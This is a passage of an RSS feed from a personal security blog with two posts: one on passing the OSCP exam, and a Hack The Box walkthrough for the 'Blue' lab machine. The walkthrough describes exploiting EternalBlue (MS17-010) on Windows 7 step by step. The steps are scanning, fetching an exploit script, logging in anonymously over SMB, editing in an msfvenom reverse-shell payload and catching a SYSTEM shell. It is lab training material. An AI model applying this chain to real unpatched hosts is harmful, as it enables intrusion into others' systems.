research and noticed a lot of people recommend purchasing the 3 month lab time, but I decided to do the 2 month because my budget was a bit thin. I went through the material taking notes on every section and doing all the exercises at the end of each section but eventually grew tired of doing some that seemed to be geared towards people who have never had experience touching a Linux box. OffSec does offer each student the ability to obtain 5 extra points for their exam if they supply a report of 10 boxes they are able to root in the labs along with all the exercises in the material, but I didn’t see the worth of losing valuable lab time in order to do some of those exercises. After about 3 weeks of covering all the lab material and watching the amazing videos OffSec supplies, I went straight into the labs and was able to root about 44 boxes and move around a couple of the networks in their lab environment. With rooting about 44 boxes in the lab, I “thought” I was ready for the exam. Boy, was I wrong..</p><h3>First Exam Attempt</h3><p>On the Exam attempt, I scheduled my exam for 9 am Central Time, and had everything prepared from snacks, water bottles, and several snapshots of my VM. I immediately, started my scans with a tool that I wrote to make my nmap scans faster, while I took on the Buffer Overflow machine. I was beyond confident with the Buffer Overflow aspect because I had practiced with several vulnerable VMs that had Buffer Overflows and was knocking them out in about 30 mins. This time was different. I cannot go into details for obvious reasons of why I struggled, but my planned 30 mins for the Buffer Overflow machine turned into 8 hours. After that, I was done. My confidence went down the drain, and I was not able to root any other machines. The OSCP got the best of me and put me down 1–0.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/758/1*Pvud0ozbZSRUNrwJWqPjjw.png" /></figure><h3>Second Go Around</h3><p>After taking such a FAT L, I knew I had to come back stronger than ever. So after a couple of days to recovery, I signed up with TryHackMe and started their “Offensive Pentesting Path” and knocked out all those machines in the path. In my opinion, I am a BIG FAN of TryHackMe because it is a platform for all and gives such amazing learning material!! After doing those machines, I signed up with VirtualHackingLabs and this ended up being one of the best investments I could have made. They have about 43 vulnerable machines that are updated and supply the user with some learning material similar to OffSecs. Each machine teaches something different and are rated from Beginner, Advanced, and Advanced+. Granted that almost all the Linux machines priv esc methods are vulnerable to Dirty C0w, this is not always the intended way, and teach something new! They also allow you to submit a report after you have rooted 20 machines to obtain a certificate of completion as well as an Advanced+ certificate if you are able to root 10 Advanced+ machines while doing 2 of the machines manually without any public released scripts. I was able to purchase a month subscription for $100 and root 42 of the 43 machines and obtain both certificates.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/797/1*nf7RX1Bij9Sl12BldmhRSQ.png" /></figure><p>After getting through those machines, I scheduled my exam for the following weekend and was ready to hit the OSCP exam with the 1–2 combo!!</p><h3>Second Exam Attempt</h3><p>This time, I decided to take the exam later in the day so I could work later in the evening. <strong>My biggest take away from my first attempt was to simply take my time! </strong>You have to remember, these machines you get for your exam are meant to be vulnerable, so you are in no need to rush! Just ENUMERATE! I made sure to take my time and take breaks every hour, even if it meant just going outside and walking around a bit. I managed to root 4 machines and obtain my OSCP certification! I felt really comfortable writing my report as well since I had the opportunity to submit two different reports to Virtual Hacking Labs, so I wasn’t to concerned submitting my lab report to OffSec.</p><h3>Useful Items That Helped Me</h3><p>For privilege Escalation I purchased The Cyber Mentor course on Udemy:</p><ul><li><a href="https://www.udemy.com/course/windows-privilege-escalation-for-beginners/">Windows Privilege Escalation for Beginners</a></li><li><a href="https://www.udemy.com/course/linux-privilege-escalation-for-beginners/">Linux Privilege Escalation for Beginners</a></li></ul><p>I also watched and took notes on IppSec’s methology on how went about attacking the TJ Null’s OSCP Hack The Box list.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2F2DqdPcbYcy8%3Flist%3DPLidcsTyj9JXK-fnabFLVEvHinQ14Jy5tf&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3D2DqdPcbYcy8&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2F2DqdPcbYcy8%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/52d43be5526a02aeeaf21ee65de1f931/href">https://medium.com/media/52d43be5526a02aeeaf21ee65de1f931/href</a></iframe><p>Vulnhub’s OSCP list was super useful as well since the machines are on your internal network, your scans work so much smoother and quicker compared to being on a VPN.</p><p><a href="https://docs.google.com/spreadsheets/d/1dwSMIAPIam0PuRBkCiDI88pU3yzrqqHkDtBngUHNCw8/edit#gid=1839402159">NetSecFocus Trophy Room</a></p><p>Finally, having a playlist that motivates you and pushes you to grind harder than you already are! ;)</p><p>I hope you find this useful on your own journey to OSCP. I’m finally glad this all over as I start the path to obtaining eLearnSecuritys eCCPT and breaking into the penetration testing field. I can finally kickback and watch my little girl have fun being a toddler!!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3f1e574539eb" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HTB — Blue Walkthrough ( No Metasploit)]]></title>
            <link>https://jayaye15.medium.com/htb-blue-walkthrough-no-metasploit-f63d2af96bbd?source=rss-46888e3d1790------2</link>
            <guid isPermaLink="false">https://medium.com/p/f63d2af96bbd</guid>
            <dc:creator><![CDATA[jb00gie]]></dc:creator>
            <pubDate>Tue, 23 Jun 2020 13:20:53 GMT</pubDate>
            <atom:updated>2020-06-23T14:55:05.945Z</atom:updated>
            <content:encoded><![CDATA[<h3>HTB — Blue Walkthrough ( No Metasploit )</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/584/1*tD7pEum-JpOsb-9fobAxEA.png" /></figure><p>In my opinion, this box should be one of the first boxes someone should attempt who is new to Hack The Box. The attack surface for this box is small, so it should lay the foundation to a newbie learning how to enumerate and implement their own style of methodology in exploitation.</p><h3><strong>ENUMERATION</strong></h3><p>To start off every box, performing an <em>NMAP </em>(network mapper) scan is critical to learning about what ports are open and listening for connections from other machines. There are many different ways one can perform such a scan and to each their own, but in general one should should all 65535 ports to fully enumerate the box.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*45Otg5ejfsRpndFV5Nz6ug.png" /><figcaption>nmap — Full TCP Scan</figcaption></figure><h4>nmap switches:</h4><ul><li><strong>T4:</strong> Allows you set a speed of fast you want the scanner to go. Ranges are from T1-T5, with T5 being the fastest. I usually go with the T4 setting because its normally fast enough without missing anything. <strong>NOTE</strong>: The faster the speed the higher chance you may have an inaccurate scan.</li><li><strong>-A:</strong> This switch enables OS detection, version detection, script scanning, and trace routing.</li><li><strong>-p-:</strong> Scan all ports from 1–65535.</li></ul><p>From the scan above, we see that SMB ports are open (Port 139 &amp; 445). These are ports are normally open on Window machine’s and allow for computers on a network to share documents with each other like in corporate environments. However, these Samba ports are normally very vulnerable if not configured propertly, such as the famous Eternal Blue exploit. Hmmmm, can the name of this box be giving us a hint. . . 😮</p><h3>NMAP NSE Scripts</h3><p>Nmap is a powerful tool that should be kept in one’s pocket during any sort of penetration testing engagement or CTF. Nmap has the ability to run scripts to let a user know whether a machine may or may not be vulnerable. Since there are no other low hanging fruit available on other open ports beside the RPC ports, we can run nmap’s Nmaps Scripting Engine(NSE) on the SMB ports to see if it is indeed vulnerable to any SMB exploits.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/905/1*TsdOzacfXo6jnVhgrF33zg.png" /><figcaption>nmap NSE Vuln Scan</figcaption></figure><p>The results of the NSE scripts for SMB show that Blue is indeed vulnerable to MS17–010 aka EternalBlue exploit.</p><h3>EXPLOITATION</h3><p>In our Kali box, we have a tool called <em>Searchsploit</em>, which is a database on our box that host exploits locally. We can query <em>Searchsploit </em>and see if their is any exploits for this well known exploit.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Z2BB3FM90k1N6h327s92nw.png" /><figcaption>Searchsploit</figcaption></figure><p>From the Searchsploit results we see that there are two exploits that are compatible with this Windows 7 box ( Found OS from <em>nmap </em>scan ). I chose to use the second exploit (42315.py), and downloaded the exploit script using the command “<em>searchsploit -m 42315</em>”.</p><p>Looking into the actual exploit script, we see that this exploit requires another python script and provides the link on where to download it shown below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SLXK80Boj6vI_pSJqb66FA.png" /><figcaption>Link to download mysmb.py</figcaption></figure><p>After downloading the required script in the same directory as your exploit script, there are two modifications that must be made to the script before we can pop Blue. Also, EternelBlue requires us to have valid credentials in order to work.. Since we don’t have any at the moment and don’t have much other services to enumerate for any, we can use the user “anonymous”. To make sure that anonymous is a valid user, we can use <em>smbclient</em>. First we will use smbclient to list all the shares for the box.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/565/1*jauj4KreBFXAn1xlY-OQ2Q.png" /><figcaption>Using smbclient To List Shares</figcaption></figure><p>Now we can attempt to do authenticate as anonymous, and if successful we know that we are able to get a System shell via EternalBlue. We will again use <em>smbclient </em>to login.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/662/1*2SKYotceoqUsd3MvXwOR_Q.png" /><figcaption>Logging Into SMB Shares</figcaption></figure><p>Now that we know we have valid credentials with anonymous and no password, we can leave the username and password blank in the exploit script.</p><p>The last modification needed for this script to give us a reverse shell is to generate a payload from <em>msfvenom</em>. You must supply msfvenom your ip address (LHOST), port you want a connection on (LPORT), and type of file it should output (-f).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/957/1*6CLmj4AgDQAJmYKQaoEfiQ.png" /><figcaption>Generating Payload via msfvenom</figcaption></figure><p>Now we must place this executable into the script that will send the payload to Blue in order to give us a shell. The script does have this already, however it is commented out in the smb_pwn function so we have to uncomment it and change the parameters to include the file location of our malicious executable that we generated using <em>msfvenom</em>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/776/1*SSoEa_y9pcCkLmwDnE8G1g.png" /><figcaption>Original smb_pwn() From Script</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/752/1*hej65z7uJnz_iUodeR0pww.png" /><figcaption>After Modification to smb_pwn()</figcaption></figure><p>Now that we have fixed the script, all that is left is to send the python script and start up a <em>netcat </em>(nc) listener to catch our reverse shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/717/1*HzQlnsQJBsb4SarZIVJxJg.png" /><figcaption>Sending Payload To Blue Using ntsvcs Pipe</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/589/1*vJyCrpJl_lHM32cOCsb8QA.png" /><figcaption>Getting System :)</figcaption></figure><p>Just like that, you are the most powerful user for this box as “NT Authority\System”.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f63d2af96bbd" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>